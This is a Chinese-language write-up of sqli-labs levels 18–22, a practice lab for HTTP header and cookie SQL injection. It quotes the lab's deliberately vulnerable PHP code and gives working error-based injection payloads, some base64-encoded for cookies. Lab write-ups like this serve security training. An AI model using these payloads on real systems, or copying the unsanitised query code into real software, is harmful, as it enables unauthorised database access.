靶场练习-Sqli-labs通关记录(post型)(18-22关)
0x00 实验环境
本地:Win 10
靶场:sqli-labs(共65关,每日一关)
0x02 通关记录
简介:一天一关!
(18)第十八关:
第十八关开始,可衔接上文中:HTTP头部标识学习
到了第十八关,记得一定时是输入正确的登录密码时才会注入
发现页面存在一个address地址,这时可以猜想,是否存在http请求头注入。
我们首先看一下源代码:存在一个insert语句:这里是没有对这个address与uagent参数进行过滤的:
$uagent = $_SERVER['HTTP_USER_AGENT']; $IP = $_SERVER['REMOTE_ADDR']; echo "<br>"; echo 'Your IP ADDRESS is: ' .$IP; echo "<br>"; //echo 'Your User Agent is: ' .$uagent; // take the variables if(isset($_POST['uname']) && isset($_POST['passwd'])) { $uname = check_input($_POST['uname']); $passwd = check_input($_POST['passwd']); /* echo 'Your Your User name:'. $uname; echo "<br>"; echo 'Your Password:'. $passwd; echo "<br>"; echo 'Your User Agent String:'. $uagent; echo "<br>"; echo 'Your User Agent String:'. $IP; */ //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'User Agent:'.$uname."\n"); fclose($fp); $sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1"; $result1 = mysql_query($sql); $row1 = mysql_fetch_array($result1); if($row1) { echo '<font color= "#FFFF00" font size = 3 >'; $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)"; mysql_query($insert); //echo 'Your IP ADDRESS is: ' .$IP; echo "</font>"; //echo "<br>"; echo '<font color= "#0000ff" font size = 3 >'; echo 'Your User Agent is: ' .$uagent; echo "</font>"; echo "<br>"; print_r(mysql_error()); echo "<br><br>"; echo '<img src="../images/flag.jpg" />'; echo "<br>"; }
仅仅是check_in了username与password。
也就是可以对uagent与页面回显的address参数进行注入尝试,因此我们可以尝试对uagent进行注入:
看网上说的cookie插件都找不到了,这款谷歌火狐都可以使用:ModHeader
' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1
还是万年不变的报错语句,如上所示!
通关成功!
(19)第十九关:
如果是黑盒测试的话就直接对不同的http请求头进行注入尝试,如果是白盒的话就先进行代码审计,这里我们依旧看看源码:
嗯嗯,有个check_input函数进行过滤,然后再看看这个函数在哪个位置进行了调用:
看这三个位置,对账号及密码进行了检测,登录成功则会对referer与ip_address插入:
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
如果使用了报错语句会有以下的闭合:
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1', '$IP')";
然后是进行了插入操作:
插入了ip_address与referers,因此我们可以对referers进行注入尝试,主要是这个好注入一些:
' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1
这里是在后面的VALUES处进行了拼接,针对不同的句型可能就需要不同的拼接语句了:
(20)第二十关:
if(!isset($_POST['submit'])) { $cookee = $_COOKIE['uname']; $format = 'D d M Y - H:i:s'; $timestamp = time() + 3600; echo "<center>"; echo '<br><br><br>'; echo '<img src="../images/Less-20.jpg" />'; echo "<br><br><b>"; echo '<br><font color= "red" font size="4">'; echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT']; echo "</font><br>"; echo '<font color= "cyan" font size="4">'; echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR']; echo "</font><br>"; echo '<font color= "#FFFF00" font size = 4 >'; echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>"; echo '<font color= "orange" font size = 5 >'; echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp); echo "<br></font>"; $sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1"; $result=mysql_query($sql);
这句代码是什么意思呢?
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
我们尝试登录成功:
登录失败:
(1)发现只有登录成功,才会插入cookie,首先登录成功就设置cookie为username,然后再查询一下cookie。
(2)是两个包:那我们只要在第一个包的时候设置cookie为闭合的语句,那就能在第二个包使用到报错语句来注入了:
第一个包插入cookie,设置为报错的注入语句,第二个包就会变成如下查询语句,并成功闭合,前提是你需要先登录成功:
$sql="SELECT * FROM users WHERE username='123' union select extractvalue(1,concat(0x7e,(select user()),0x7e)),1#' LIMIT 0,1";
首先设置cookie:
然后输入正确的账号密码,抓包,然后改登录成功的cookie就能注入,但是这里似乎是对符号进行了过滤(php版本不对):
经测试发现,php5.2版本这个不行,所以尝试了一下其他版本的,5.5啥的,反正他们要是不成功千万不要总是一个劲猛试,要思考为什么:
然后就成功报错了,爆出了php版本号,这个测试办法很简单,就是先研究一下登录失败与成功cookie有什么不同,然后在第一个包正常登录,发送时修改第二个包的cookie值,不管你是用modheader还是burp,都能做到注入!如下图,在跳转302的包时,拦截并修改cookie,就能达到注入效果,修改modheader也是OK的。
(21)第二十一关:
if(!isset($_POST['submit'])) { $cookee = $_COOKIE['uname']; $format = 'D d M Y - H:i:s'; $timestamp = time() + 3600; echo "<center>"; echo "<br><br><br><b>"; echo '<img src="../images/Less-21.jpg" />'; echo "<br><br><b>"; echo '<br><font color= "red" font size="4">'; echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT']; echo "</font><br>"; echo '<font color= "cyan" font size="4">'; echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR']; echo "</font><br>"; echo '<font color= "#FFFF00" font size = 4 >'; echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>"; echo '<font color= "orange" font size = 5 >'; echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp); $cookee = base64_decode($cookee); echo "<br></font>"; $sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1"; $result=mysql_query($sql); if (!$result) { die('Issue with your mysql: ' . mysql_error()); } $row = mysql_fetch_array($result);
21关与20关唯一的不同有两个,一个是加了个base64_decode,另一个是使用了')来闭合,意思就是在查询的时候,他会先对你输入的内容进行base64解码,同时再进行')闭合,所以这里肯定是在之前需要你传入base64加密的cookie的:
验证一下是不是我们所想的,尝试登录成功并抓包看看响应:
第一个包被base64加密了,我们在这个302的跳转包只要同样的修改为注入的闭合语句并base64加密即可:
uname=admin1') and extractvalue(1,concat(0x7e,(select @@version),0x7e))#
uname=YWRtaW4xJykgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgQEB2ZXJzaW9uKSwweDdlKSkj
跳转登录成功时改包:
成功报错!
(22)第二十二关:
同理,22关相比21关仅仅是修改了闭合语句:
if(!isset($_POST['submit'])) { $cookee = $_COOKIE['uname']; $format = 'D d M Y - H:i:s'; $timestamp = time() + 3600; echo "<center>"; echo "<br><br><br><b>"; echo '<img src="../images/Less-21.jpg" />'; echo "<br><br><b>"; echo '<br><font color= "red" font size="4">'; echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT']; echo "</font><br>"; echo '<font color= "cyan" font size="4">'; echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR']; echo "</font><br>"; echo '<font color= "#FFFF00" font size = 4 >'; echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>"; echo '<font color= "orange" font size = 5 >'; echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp); $cookee = base64_decode($cookee); $cookee1 = '"'. $cookee. '"'; echo "<br></font>"; $sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1"; $result=mysql_query($sql); if (!$result) { die('Issue with your mysql: ' . mysql_error()); } $row = mysql_fetch_array($result);
单独拿出来,cookee加了"双引号:
$cookee1 = '"'. $cookee. '"';
admin1" and extractvalue(1,concat(0x7e,(select @@version),0x7e))#
修改为base64的闭合语句:
YWRtaW4xIiBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQHZlcnNpb24pLDB4N2UpKSM=
以上就是18关至22关http请求头注入的部分方式。结合现实挖漏洞,则需要大家对waf进行绕过,或者是多观察加密方式等情况。